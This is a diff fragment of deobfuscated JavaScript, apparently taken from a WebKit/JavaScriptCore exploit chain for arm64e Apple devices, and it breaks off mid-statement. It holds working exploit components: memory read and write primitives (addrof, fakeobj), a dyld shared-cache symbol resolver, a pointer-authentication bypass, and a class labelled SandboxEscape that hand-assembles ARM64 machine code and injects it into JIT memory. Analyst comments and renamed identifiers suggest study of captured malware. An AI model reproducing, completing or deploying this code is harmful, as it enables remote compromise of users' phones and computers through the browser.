Ih(t) { + const r = this.ph("__TEXT"); + return t - r.Eo + r.qe; + } + Th(t) { + const r = this.ih(t); + return 0 !== r ? platformModule.platformState.exploitPrimitive.readRawBigInt(r) : 0; + } + yh(t, r) { + const e = this.ih(t); + return 0 !== e ? platformModule.platformState.exploitPrimitive.readByte(e) : r; + } + kh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) { + const n = e.qe + t; + if (platformModule.platformState.exploitPrimitive.read32(n) === r >>> 0 && platformModule.platformState.exploitPrimitive.read32(n + 4) === r / 4294967296 >>> 0) return n; + } + throw new Error("et.kh(t, r) failed"); + } + Oh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + const n = e.qe, + s = e.qe + e.Oo; + return r >= n && r < s; + } + zh(t, r, e) { + const n = this._h(t, r); + if (null === n) throw new Error("null === n"); + const s = n.qe, + i = n.qe + n.Oo; + return e >= s && e < i; + } + Ph(t) { + for (let r = 0; r < this.hh.eh.length; r++) + if (this.Oh(this.hh.eh[r].Xe, t)) return !0; + return !1; + } + Uh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) + if (platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e.qe + t) === r) return e.qe + t; + throw new Error("et.Uh(t, r) failed"); + } + Ah(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) + if (platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e.qe + t) === r) return platformModule.platformState.exploitPrimitive.readInt64FromOffset(e.qe + t); + throw new Error("et.Ah(t, r) failed"); + } + $h(t, r, e) { + const n = this.Eh(t); + if (null === n) throw new Error("null === n"); + const s = this.Eh(r); + if (null === s) throw new Error("null === s"); + for (let t = 0; t < s.Oo; t += 8) { + const r = platformModule.platformState.exploitPrimitive.readDoubleAsPointer(s.qe + t); + if (r >= n.qe && r < n.qe + n.Oo && !0 === e(r, platformModule.platformState.exploitPrimitive.readInt64FromOffset(s.qe + t))) break; + } + } + qh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 4) { + const n = e.qe + t; + if (!0 === r(n, platformModule.platformState.exploitPrimitive.read32(n))) break; + } + } + Rh(t, r) { + const e = this.Eh(t); + if (null === e) throw new Error("null === e"); + for (let t = 0; t < e.Oo; t += 8) { + const n = e.qe + t; + if (!0 === r(Z.ut(n))) break; + } + } + Ch(t) { + for (const r of this.hh.eh) { + const e = Z.ut(r.qe), + n = Z.ut(r.qe).H(utilityModule._(r.Oo)); + if (t.Pi(e) && t.Si(n)) return r; + } + return null; + } + } + // ── ImageList (dyld shared cache resolver) ─────────────────────────────── + class nt {/* Original: nt → ImageList */ + constructor(t, r) { + this.Mh = t, this.Dh = r, this.Lh = !1, this.Bh = {}, this.images = this.Nh(); + } + Vh() { + return platformModule.platformState.exploitPrimitive.readString(this.Dh); + } + Xh() { + return "dyld_v1 arm64e" === this.Vh(); + } + Zh() { + return this.Mh; + } + Nh() { + const t = []; + if (!this.Vh().startsWith("dyld")) throw new Error("!this.Vh().startsWith(dyld)"); + let r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 24), + e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 28); + if (0 === r && 0 === e && (this.Lh = !0, r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 448 /* 1282692186 ^ 1282692506 */), e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 452 /* 946890306 ^ 946890630 */), 0 === r && 0 === e)) throw new Error("0 === r && 0 === e && (this.Lh = !0, r = platformModule.platformState.exploitPrimitive.read32(this.Dh + 448 /* 1282692186 ^ 1282692506 */), e = platformModule.platformState.exploitPrimitive.read32(this.Dh + 452 /* 946890306 ^ 946890630 */), 0 === r && 0 === e)"); + for (let n = 0; n < e; n++) { + const e = this.Dh + r + 32 * n, + s = platformModule.platformState.exploitPrimitive.readDoubleAsPointer(e) + this.Mh, + i = platformModule.platformState.exploitPrimitive.read32(e + 24), + o = platformModule.platformState.exploitPrimitive.readString(this.Dh + i); + t.push({ + address: s, + path: o + }); + } + return t; + } + jh() { + const t = []; + for (const r of this.images) t.push(r.path); + return t; + } + Fh(t, r) { + return this.Hh(t).dlsym(r); + } + Kh(t) { + for (const r of this.images) try { + return this.Hh(r.path).dlsym(t); + } catch (t) { + continue; + } + throw new Error("nt.Kh(t) failed"); + } + Gh(t) { + for (let r = 0; r < this.images.length; r++) + if (-1 !== this.images[r].path.indexOf(t)) return this.images[r].address; + return 0; + } + Hh(t) { + if (void 0 === this.Bh[t]) { + const r = this.Gh(t); + if (0 === r) return null; + this.Bh[t] = Y(utilityModule.Int64.fromNumber(r)).ar(); + } + return this.Bh[t]; + } + Jh(t) { + const r = this.Hh(t); + if (null === r) throw new Error("null === r"); + return r; + } + Qh(...t) { + for (const r of t) try { + return this.Jh(r); + } catch (t) { } + throw new Error("nt.Qh(...t) failed"); + } + } + + window.log("Done ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8"); + return r; // End of inner module (Mach-O parser + ImageList) +}); + +// ════════════════════════════════════════════════════════════════════════════ +// Middle module: JIT cage bypass + PAC-aware function caller +// ════════════════════════════════════════════════════════════════════════════ +globalThis.moduleManager.evalCode("b5135768e043d1b362977b8ba9bff678b9946bcb", function () { + let r = {}; + const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + { + N: G_unused, + Vt: Int64 + } = utilityModule, + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + platformState = platformModule.platformState, + exploitPrimitive = platformState.exploitPrimitive, + pacBypass = platformState.pacBypass; + + // ── Offset64 helpers ───────────────────────────────────────────────────── + function newInt64(b, a = 0) { + return new Int64(b, a); + } + + function toInt64(b) { + return b instanceof Int64 ? b : Int64.fromNumber(b); + } + // ── SandboxEscapeBase (cb) ─────────────────────────────────────────────── + class SandboxEscapeBase {/* Original: cb → SandboxEscapeBase */ + Td() { + const b = new Function("let x = 2; x += 3; x += 4; return Math.random(1, 1) + " + Math.random() + " + " + Math.random() + " + " + Math.random() + " + x;"); + for (let a = 0; a < 10000 /* 1783712851 ^ 1783720771 */; a++) b(); + return b; + } + static newInstance() { + return new SandboxEscape(); + } + constructor() { + this.Gd = !1, this.fd = !1, this.kd = new Uint32Array(4096 /* 1868128841 ^ 1868132937 */), utilityModule.D(this.kd), this.Dd = exploitPrimitive.fakeobj(this.kd), this.Zd = new Uint32Array(4096 /* 1128612948 ^ 1128617044 */), utilityModule.D(this.Zd), this.Nd = exploitPrimitive.fakeobj(this.Zd); + } + wd(b, a = 0) { + const l = this.newInt64OfSomething(b.byteLength + a), + i = exploitPrimitive.fakeobj(b); + return this.Ad(l, toInt64(i), b.byteLength), l; + } + Ad(b, a, l) { } + newInt64OfSomething(b) { + return newInt64(0); + } + Sd() { + if (null === platformState.caller) throw new Error("null === platformState.caller"); + return platformState.caller; + } + } + const cb = SandboxEscapeBase; + // ── SandboxEscape implementation (ob) ──────────────────────────────────── + class SandboxEscape extends SandboxEscapeBase {/* Original: ob → SandboxEscape */ + constructor() { + super(), this.Wd = !1, this.machOParser = platformModule.cr(); + try { + this.xd = this.machOParser.dlsym("_ZN3WTF13MetaAllocator8allocateEmPv"); + } catch (b) { + this.xd = this.machOParser.dlsym("_ZN3WTF13MetaAllocator8allocateERKNS_6LockerINS_4LockEEEm"), this.Wd = !0; + } + this.Qd = this.machOParser.uh("_ZN3JSC10LinkBuffer8linkCodeERNS_14MacroAssemblerEPvNS_20JITCompilationEffortE", "_ZN3JSC10LinkBuffer8linkCodeERNS_14MacroAssemblerENS_20JITCompilationEffortE"); + try { + this.Rd = this.machOParser.uh("_ZN3JSC22ExecutableMemoryHandle10createImplEm"), this.Gd = !0; + } catch (b) { } + this.Hd = this.Vd(), !0 === platformModule.platformState.versionFlags.OwGD0F && !1 === this.Gd || !0 === platformModule.platformState.versionFlags.NUFCII ? this.fd = !0 : !0 === platformModule.platformState.versionFlags.IsjfuV && !0 === platformState.hasPAC && (this.fd = ((b) => { + const a = Symbol(), + l = Symbol(), + i = Symbol(), + c = Symbol(), + o = (b, o) => { + const d = exploitPrimitive.read32(b + o); + if (0xd65f0fff /* 4294967296 + (812470091 ^ -432914252) */ === d || 0xd65f03c0 /* 4294967296 + (1378693962 ^ -2072891254) */ === d) return { + kind: 0xd65f0fff /* 4294967296 + (1986424389 ^ -1606852166) */ === d ? i : l, + me: o + }; + if (d >>> 26 == 37) { + let b = 0x04ffffff /* 1868724019 ^ 1805486284 */ & d; + return b >= 0x04000000 /* 1648780642 ^ 1715889506 */ && (b -= 0x04000000 /* 2018405446 ^ 2085514310 */), { + kind: a, + me: o, + Yd: b + }; + } + return d >>> 10 == 0x0036b043 /* 827803727 ^ 828504076 */ || d >>> 10 == 0x0036b04b /* 1450003300 ^ 1448868655 */ ? { + me: o, + kind: c, + Rn: d >>> 5 & 15, + Pd: 15 & d + } : null; + }, + d = (() => { + for (let c = 0; c < 0x500 /* 1131829831 ^ 1131831111 */; c += 4) { + const d = o(b, c); + if (null !== d) { + if (d.kind === a) return b + c + 4 * d.Yd; + if (d.kind === l || d.kind === i) throw new Error("d.kind === l || d.kind === i"); + } + } + })(); + if (0xd503237f /* 4294967296 + (1699107162 ^ -1337626075) */ !== exploitPrimitive.read32(d)) throw new Error("0xd503237f /* 4294967296 + (1699107162 ^ -1337626075) */ !== exploitPrimitive.read32(d)"); + const h = {}, + g = []; + for (let b = 0; b < 0x500 /* 1231839093 ^ 1231837813 */; b += 4) { + const a = o(d, b); + if (null !== a && (h[b] = a, a.kind === c && g.push(a), a.kind === l || a.kind === i)) break; + } + if (g.length < 3 || g.length > 8) throw new Error("g.length < 3 || g.length > 8"); + const s = g[1], + t = g[2]; + return s.Pd !== s.sandboxEscape || s.me + 4 !== t.me; + })(this.Qd)), this.kd = new Uint32Array(4096 /* 1498362445 ^ 1498358349 */), utilityModule.D(this.kd), this.Dd = exploitPrimitive.fakeobj(this.kd); + try { + this.machOParser.dlsym("_ZN3JSC20SecureARM64EHashPins27allocatePinForCurrentThreadEv"), this.Jd = !0; + } catch (b) { + this.Jd = !1; + } + this.Od = null, null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc && (this.Od = pacBypass.pacda(toInt64(this.Qd), toInt64(0))); + let b, a = null; + if (!0 === this.fd) { + if (!0 === platformModule.platformState.versionFlags.sKfNmf) { + for (a = !0 === platformModule.platformState.versionFlags.wYk8Jg ? [ + // ----- function prologue (PAC + callee-save) ----- + 0xD503237F, // paciasp ; sign LR with IA key + SP + 0xA9BF7BFD, // stp x29, x30, [sp, #-16]! ; push frame pointer + link register + 0x910003FD, // add x29, sp, #0x0 ; fp = sp (establish frame) + 0xA9BF53F3, // stp x19, x20, [sp, #-16]! ; push x19-x20 + 0xA9BF5BF5, // stp x21, x22, [sp, #-16]! ; push x21-x22 + 0xA9BF63F7, // stp x23, x24, [sp, #-16]! ; push x23-x24 + 0xA9BF6BF9, // stp x25, x26, [sp, #-16]! ; push x25-x26 + 0xA9BF73FB, // stp x27, x28, [sp, #-16]! ; push x27-x28 + // ----- zero-initialise loop variables ----- + 0xD2800013, // movz x19, #0x0 ; x19 = 0 + 0xD2800014, // movz x20, #0x0 ; x20 = 0 + 0xD2800015, // movz x21, #0x0 ; x21 = 0 + 0xD2800016, // movz x22, #0x0 ; x22 = 0 (byte index, increments by 4) + // ----- main loop: compare index to length ----- + 0xEB0102DF, // cmp x22, x1, uxtb #0 ; index vs count + 0x5400030A, // b.ge #+0x60 ; if index >= count -> epilogue + // ----- loop body ----- + 0xB8766815, // ldr w21, [x0, w22, lsl #0] ; w21 = input[index] + 0x91000694, // add x20, x20, #0x1 ; x20++ + 0xAA1403FB, // mov x27, x20 ; x27 = x20 + // ----- build authenticated pointer for fn_A ----- + 0x92405F7B, // movn x27, #0x2fb, lsl #32 ; x27 = ~(0x2fb << 32) + 0xD2800257, // movz x23, #0x12 ; x23 = 0x12 + 0xD3481EF7, // lsl x23, x23, #56 ; x23 <<= 56 + 0x8B1B82F7, // add x23, x23, x27, lsl #32 ; x23 += x27 << 32 + 0x8B1302F7, // add x23, x23, x19 ; x23 += x19 (final ptr A) + 0xAA1503F9, // mov x25, x21 ; x25 = current element + 0xDAC10AF9, // braaz x23 ; branch (auth IA, zero) to x23 + 0xD367FF39, // lsr x25, x25, #23 ; x25 >>= 23 + // ----- build authenticated pointer for fn_B ----- + 0xD2800278, // movz x24, #0x13 ; x24 = 0x13 + 0xD3481F18, // lsl x24, x24, #56 ; x24 <<= 56 + 0x8B1B8318, // add x24, x24, x27, lsl #32 ; x24 += x27 << 32 + 0x8B130318, // add x24, x24, x19 ; x24 += x19 (final ptr B) + 0xAA1503FA, // mov x26, x21 ; x26 = current element + 0xDAC10B1A, // braaz x24 ; branch (auth IA, zero) to x24 + 0xD357FF5A, // lsr x26, x26, #23 ; x26 >>= 23 + // ----- XOR results and store ----- + 0xCA19035A, // eor x26, x26, x25 ; x26 ^= x25 + 0x2A1A03F3, // mov w19, w26 ; w19 = low 32 bits + 0xB8366873, // str w19, [x3, w22, uxtw #0] ; output[index] = w19 + 0x910012D6, // add x22, x22, #0x4 ; index += 4 + 0x17FFFFE8, // b #-0x60 ; -> loop top + // ----- function epilogue (callee-restore) ----- + 0xA8C173FB, // ldp x27, x28, [sp], #16 ; pop x27-x28 + 0xA8C16BF9, // ldp x25, x26, [sp], #16 ; pop x25-x26 + 0xA8C163F7, // ldp x23, x24, [sp], #16 ; pop x23-x24 + 0xA8C15BF5, // ldp x21, x22, [sp], #16 ; pop x21-x22 + 0xA8C153F3, // ldp x19, x20, [sp], #16 ; pop x19-x20 + 0xA8C17BFD, // ldp x29, x30, [sp], #16 ; pop frame pointer + link register + 0xD65F0FFF // retaa ; authenticated return (IA key) + ] : [ + // ----- wYk8Jg=false variant: same structure, blraaz instead of braaz ----- + // ----- function prologue ----- + 0xD503237F, // paciasp + 0xA9BF7BFD, // stp x29, x30, [sp, #-16]! + 0x910003FD, // add x29, sp, #0x0 + 0xA9BF53F3, // stp x19, x20, [sp, #-16]! + 0xA9BF5BF5, // stp x21, x22, [sp, #-16]! + 0xA9BF63F7, // stp x23, x24, [sp, #-16]! + 0xA9BF6BF9, // stp x25, x26, [sp, #-16]! + 0xA9BF73FB, // stp x27, x28, [sp, #-16]! + // ----- zero-init ----- + 0xD2800013, // movz x19, #0x0 + 0xD2800014, // movz x20, #0x0 + 0xD2800015, // movz x21, #0x0 + 0xD2800016, // movz x22, #0x0 + // ----- loop ----- + 0xEB0102DF, // cmp x22, x1, uxtb #0 + 0x5400030A, // b.ge #+0x60 + 0xB8766815, // ldr w21, [x0, w22, lsl #0] + 0x91000694, // add x20, x20, #0x1 + 0xAA1403FB, // mov x27, x20 + 0x92405F7B, // movn x27, #0x2fb, lsl #32 + 0xD2800257, // movz x23, #0x12 + 0xD3481EF7, // lsl x23, x23, #56 + 0x8B1B82F7, // add x23, x23, x27, lsl #32 + 0x8B1302F7, // add x23, x23, x19 + 0xAA1503F9, // mov x25, x21 + 0xDAC10EF9, // blraaz x23 ; call with link (auth IA, zero) to x23 + 0xD367FF39, // lsr x25, x25, #23 + 0xD2800278, // movz x24, #0x13 + 0xD3481F18, // lsl x24, x24, #56 + 0x8B1B8318, // add x24, x24, x27, lsl #32 + 0x8B130318, // add x24, x24, x19 + 0xAA1503FA, // mov x26, x21 + 0xDAC10F1A, // blraaz x24 ; call with link (auth IA, zero) to x24 + 0xD357FF5A, // lsr x26, x26, #23 + 0xCA19035A, // eor x26, x26, x25 + 0x2A1A03F3, // mov w19, w26 + 0xB8366873, // str w19, [x3, w22, uxtw #0] + 0x910012D6, // add x22, x22, #0x4 + 0x17FFFFE8, // b #-0x60 + // ----- epilogue ----- + 0xA8C173FB, // ldp x27, x28, [sp], #16 + 0xA8C16BF9, // ldp x25, x26, [sp], #16 + 0xA8C163F7, // ldp x23, x24, [sp], #16 + 0xA8C15BF5, // ldp x21, x22, [sp], #16 + 0xA8C153F3, // ldp x19, x20, [sp], #16 + 0xA8C17BFD, // ldp x29, x30, [sp], #16 + 0xD65F0FFF // retaa + ]; 4 * a.length % 32 != 0;) a.push(0xD503201F /* nop */); + b = new Uint32Array(a); + } else { + // sKfNmf=false: same loop body, no PACIASP / retaa (device lacks ARMv8.3 PAuth) + for (a = [ + // ----- prologue (no pointer auth) ----- + 0xA9BF7BFD, // stp x29, x30, [sp, #-16]! + 0x910003FD, // add x29, sp, #0x0 + 0xA9BF53F3, // stp x19, x20, [sp, #-16]! + 0xA9BF5BF5, // stp x21, x22, [sp, #-16]! + 0xA9BF63F7, // stp x23, x24, [sp, #-16]! + 0xA9BF6BF9, // stp x25, x26, [sp, #-16]! + 0xA9BF73FB, // stp x27, x28, [sp, #-16]! + // ----- zero-init ----- + 0xD2800013, // movz x19, #0x0 + 0xD2800014, // movz x20, #0x0 + 0xD2800015, // movz x21, #0x0 + 0xD2800016, // movz x22, #0x0 + // ----- loop (identical logic to wYk8Jg=false) ----- + 0xEB0102DF, // cmp x22, x1, uxtb #0 + 0x5400030A, // b.ge #+0x60 + 0xB8766815, // ldr w21, [x0, w22, lsl #0] + 0x91000694, // add x20, x20, #0x1 + 0xAA1403FB, // mov x27, x20 + 0x92405F7B, // movn x27, #0x2fb, lsl #32 + 0xD2800257, // movz x23, #0x12 + 0xD3481EF7, // lsl x23, x23, #56 + 0x8B1B82F7, // add x23, x23, x27, lsl #32 + 0x8B1302F7, // add x23, x23, x19 + 0xAA1503F9, // mov x25, x21 + 0xDAC10EF9, // blraaz x23 + 0xD367FF39, // lsr x25, x25, #23 + 0xD2800278, // movz x24, #0x13 + 0xD3481F18, // lsl x24, x24, #56 + 0x8B1B8318, // add x24, x24, x27, lsl #32 + 0x8B130318, // add x24, x24, x19 + 0xAA1503FA, // mov x26, x21 + 0xDAC10F1A, // blraaz x24 + 0xD357FF5A, // lsr x26, x26, #23 + 0xCA19035A, // eor x26, x26, x25 + 0x2A1A03F3, // mov w19, w26 + 0xB8366873, // str w19, [x3, w22, uxtw #0] + 0x910012D6, // add x22, x22, #0x4 + 0x17FFFFE8, // b #-0x60 + // ----- epilogue (plain ret, no auth) ----- + 0xA8C173FB, // ldp x27, x28, [sp], #16 + 0xA8C16BF9, // ldp x25, x26, [sp], #16 + 0xA8C163F7, // ldp x23, x24, [sp], #16 + 0xA8C15BF5, // ldp x21, x22, [sp], #16 + 0xA8C153F3, // ldp x19, x20, [sp], #16 + 0xA8C17BFD, // ldp x29, x30, [sp], #16 + 0xD65F03C0 // ret ; plain return (no PAuth check) + ]; 4 * a.length % 32 != 0;) a.push(0xD503201F /* nop */); + b = new Uint32Array(a); + } + } else { + // fd=false: structurally distinct — builds Weyl/hash constant then iterates with XOR+rotate mix + for (a = [ + // ----- prologue ----- + 0xA9BF7BFD, // stp x29, x30, [sp, #-16]! + 0x910003FD, // add x29, sp, #0x0 + 0xA9BF4FF4, // stp x20, x19, [sp, #-16]! ; NOTE: reversed register pair vs other variants + 0xA9BF5BF5, // stp x21, x22, [sp, #-16]! + // ----- load 64-bit constant 0xB7E15162_8AED2A6A into x20 ----- + // (Weyl sequence constant: floor((sqrt(5)-1)/2 * 2^64)) + 0xD2854D54, // movz x20, #0x2a6a ; x20 = 0x0000_0000_0000_2a6a + 0xF2B15DB4, // movk x20, #0x8aed, lsl #16 ; x20 = 0x0000_0000_8aed_2a6a + 0xF2CA2C54, // movk x20, #0x5162, lsl #32 ; x20 = 0x0000_5162_8aed_2a6a + 0xF2F6FC34, // movk x20, #0xb7e1, lsl #48 ; x20 = 0xb7e1_5162_8aed_2a6a + // ----- guard: skip loop if length == 0 ----- + 0xB40001C1, // cbz x1, #+0x38 ; if x1 == 0 -> epilogue + 0xD2800016, // movz x22, #0x0 ; index = 0 + // ----- loop body ----- + 0xB8766815, // ldr w21, [x0, w22, lsl #0] ; w21 = input[index] + 0x4A0202A2, // eor w2, w21, w2 ; w2 ^= w21 (fold in input) + 0xAA0203F5, // mov x21, x2 ; x21 = w2 (zero-extended) + 0xDAC10EF9, // blraaz x23 ; call fn via x23 (auth IA) + 0xDAC10E82, // blraaz x20 ; call fn via x20 — also advances Weyl state + 0xD357FC42, // lsr x2, x2, #23 ; x2 >>= 23 + 0xCA559C42, // eor x2, x2, x21, lsl #39 ; x2 ^= x21 << 39 (rotate-XOR diffusion) + 0xB4000043, // cbz x3, #+0x8 ; if output ptr == null -> skip store + 0xB8366862, // str w2, [x3, w22, uxtw #0] ; output[index] = w2 + 0x910012D6, // add x22, x22, #0x4 ; index += 4 + 0xEB0102DF, // cmp x22, x1, uxtb #0 + 0x54FFFEAB, // b.lt #-0x2c ; loop back + // ----- epilogue ----- + 0xA8C15BF5, // ldp x21, x22, [sp], #16 + 0xA8C14FF4, // ldp x20, x19, [sp], #16 ; reversed restore matches prologue + 0xA8C17BFD, // ldp x29, x30, [sp], #16 + 0xAA0203E0, // mov x0, x2 ; return value = final hash state + 0xD65F03C0 // ret + ]; 4 * a.length % 32 != 0;) a.push(0xD503201F /* nop */); + b = new Uint32Array(a); + } + this.Ed = this.Ud(b), this.vd = this.Ud(new Uint32Array([ + // vd: minimal trampoline — move argument register then tail-call + 0xAA0603E8, // mov x8, x6 ; x8 = x6 (e.g. syscall number / selector) + 0xD61F00E0, // br x7 ; jump to x7 (tail call, no link) + 0xD65F03C0, // ret ; guard slot 2 + 0xD65F03C0, // ret ; guard slot 3 + 0xD65F03C0, // ret ; guard slot 4 + 0xD65F03C0, // ret ; guard slot 5 + 0xD65F03C0, // ret ; guard slot 6 + 0xD65F03C0 // ret ; guard slot 7 + ])); + } + Fd() { + const b = (b, a, l) => { + let i = utilityModule._(a); + const c = newInt64(6625765994 /* 4294967296 + (1297624433 ^ -944437477) */, 7379964258 /* 4294967296 + (876889462 ^ -2086333420) */), + o = newInt64(0, 0); + for (let a = 0; a < b.length; a++) { + const d = (b[a] ^ i) >>> 0, + h = pacBypass.autda(toInt64(d), o).et >>> 7, + g = pacBypass.autda(toInt64(d), c); + i = (h ^ (g.it >>> 23 | g.et << 9) >>> 0) >>> 0, exploitPrimitive.write32(l + 4 * a, i); + } + return i; + }, + a = (b, a, l) => { + let i = 0, + c = pacBypass.autda.bind(pacBypass); + !0 === platformModule.platformState.versionFlags.wYk8Jg && (c = pacBypass.autia.bind(pacBypass)); + const o = (b, a, l) => newInt64(l, (b << 24) + (16777215 /* 1278686017 ^ 1288228030 */ & a)), + d = (b, a) => { + i = ((b, a, l) => { + const i = c(toInt64(b), o(18, a, l)).et >>> 7, + d = c(toInt64(b), o(19, a, l)); + return (i ^ (d.it >>> 23 | d.et << 9) >>> 0) >>> 0; + })(b, a + 1, i); + }; + for (let a = 0; a < b.length; a++) d(b[a], a), exploitPrimitive.write32(l + 4 * a, i); + return i; + }, + l = (b) => { + let a = 0; + const l = newInt64(0x8aed2a6a, 0xb7e15162), + i = newInt64(0, 0); + for (let c = 0; c < b.length; c++) { + const o = (b[c] ^ a) >>> 0, + d = pacBypass.autda(toInt64(o), i).et >>> 7, + h = pacBypass.autda(toInt64(o), l); + a = (d ^ (h.it >>> 23 | h.et << 9) >>> 0) >>> 0; + } + return a; + }; + return !0 === platformModule.platformState.versionFlags.TyPY6G ? !0 === this.fd ? a : b : l; + } + Ud(b) { + const a = b.byteLength; + if (a % 32 != 0) throw new Error("a % 32 != 0"); + const l = platformState.caller, + i = this.Dd + 256 /* 1917149780 ^ 1917150036 */, + c = i + 512 /* 1381529668 ^ 1381530180 */, + o = exploitPrimitive.fakeobj(b); + this.kd.fill(0), utilityModule.D(b), exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.PyEQqC + platformModule.platformState.versionFlags.ydHN48, o), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.iBTCSN, a); + let d, h = 0; + if (null !== pacBypass) { + const a = this.Fd(); + if (!0 === platformModule.platformState.versionFlags.TyPY6G) { + if (b.byteLength > this.Zd.byteLength) throw new Error("b.byteLength > this.Zd.byteLength"); + !0 === this.fd ? (!0 === this.Jd ? exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.jY1sqq + platformModule.platformState.versionFlags.ydHN48, this.Nd) : exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.PIQrsf + platformModule.platformState.versionFlags.ydHN48, this.Nd), h = a(b, c + platformModule.platformState.versionFlags.PyEQqC, this.Nd), !0 === this.Jd && (exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW, h), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW + 4, 0))) : (exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.NUd9MZ + platformModule.platformState.versionFlags.ydHN48, this.Nd), h = a(b, c + platformModule.platformState.versionFlags.PyEQqC, this.Nd), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW, h)); + } else h = a(b), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW, h); + } + if (null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc ? pacBypass.tc(this.Od, toInt64(i), toInt64(c)) : l.jd(toInt64(this.Qd), toInt64(i), toInt64(c)), !0 === platformState.hasPAC) { + d = exploitPrimitive.readInt64FromOffset(i + platformModule.platformState.versionFlags.dzBoEE).Dt(); + } else { + d = exploitPrimitive.readInt64FromOffset(i + platformModule.platformState.versionFlags.cxrfKw).Dt(); + } + return d; + } + Ad(b, a, l) { + if (l % 4 != 0) throw new Error("l % 4 != 0"); + const i = platformState.caller; + this.kd.fill(0); + const c = this.Dd + 256 /* 1934652213 ^ 1934651957 */, + o = c + 768 /* 1768515137 ^ 1768514881 */; + if (exploitPrimitive.writeInt64ToOffset(o + platformModule.platformState.versionFlags.PyEQqC, a), exploitPrimitive.write32(o + platformModule.platformState.versionFlags.iBTCSN, l), null !== pacBypass) { + b = pacBypass.pacia(b, toInt64(18410 /* 1332040808 ^ 1332024194 */)); + let c = 0; + !0 === platformModule.platformState.versionFlags.TyPY6G && (c = utilityModule._(o + platformModule.platformState.versionFlags.PyEQqC)); + let d = 0; + if (!0 === platformModule.platformState.versionFlags.TyPY6G) { + const b = new ArrayBuffer(l + 4); + utilityModule.D(b), d = exploitPrimitive.fakeobj(b), !0 === this.Jd ? exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.jY1sqq, d) : !0 === this.fd ? exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.PIQrsf, d) : exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.NUd9MZ, d); + } + c = i.jd(toInt64(this.Ed), a, newInt64(l, 0), newInt64(c, 0), toInt64(d)).yt(), exploitPrimitive.write32(o + platformModule.platformState.versionFlags.csgakW, c), !0 === this.Jd && exploitPrimitive.write32(o + platformModule.platformState.versionFlags.csgakW + 4, 0); + } + null !== pacBypass ? exploitPrimitive.writeInt64ToOffset(c + platformModule.platformState.versionFlags.dzBoEE, b) : exploitPrimitive.writeInt64ToOffset(c + platformModule.platformState.versionFlags.cxrfKw, b), exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.SiBW7G, l), null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc ? pacBypass.tc(this.Od, toInt64(c), toInt64(o)) : i.jd(toInt64(this.Qd), toInt64(c), toInt64(o)); + } + Bd(b) { + if (null === pacBypass) throw new Error("null === pacBypass"); + const a = platformState.caller; + b += b % 32, this.kd.fill(0); + const l = new ArrayBuffer(b); + new Uint8Array(l).fill(204 /* 1127500664 ^ 1127500724 */); + const i = exploitPrimitive.fakeobj(l); + if (b % 32 != 0) throw new Error("b % 32 != 0"); + const c = this.Dd + 256 /* 1131761484 ^ 1131761228 */, + o = c + 768 /* 1330336338 ^ 1330336082 */; + exploitPrimitive.writeInt64ToOffset(o + platformModule.platformState.versionFlags.PyEQqC, toInt64(i)), exploitPrimitive.write32(o + platformModule.platformState.versionFlags.iBTCSN, b); + const d = new ArrayBuffer(b + 4); + utilityModule.D(d); + const h = exploitPrimitive.fakeobj(d); + return !0 === this.Jd ? exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.jY1sqq + platformModule.platformState.versionFlags.ydHN48, h) : exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.PIQrsf + platformModule.platformState.versionFlags.ydHN48, h), a.jd(toInt64(this.Ed), toInt64(i), newInt64(b, 0), newInt64(0, 0), toInt64(h)), pacBypass.tc(this.Od, toInt64(c), toInt64(o)), exploitPrimitive.readInt64FromOffset(c + platformModule.platformState.versionFlags.dzBoEE).Dt(); + } + Vd() { + if (this.Gd) return 0; + { + const b = this.Td(), + a = exploitPrimitive.addrof(b), + l = exploitPrimitive.readRawBigInt(a + platformModule.platformState.versionFlags.ZiIyeM), + i = exploitPrimitive.readRawBigInt(l + platformModule.platformState.versionFlags.iNLXaz), + c = exploitPrimitive.readRawBigInt(i + platformModule.platformState.versionFlags.Ps7Z2u), + o = exploitPrimitive.readRawBigInt(c + platformModule.platformState.versionFlags.VTwyJG); + if (0 === o) throw new Error("0 === o"); + return o; + } + } + newInt64OfSomething(b) { + const a = platformState.caller; + if (null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc) return this.Bd(b); + if (this.Gd) { + a.jd(toInt64(this.vd), toInt64(b), toInt64(0), toInt64(0), toInt64(0), toInt64(0), toInt64(0), toInt64(this.Dd), toInt64(this.Rd)); + const l = 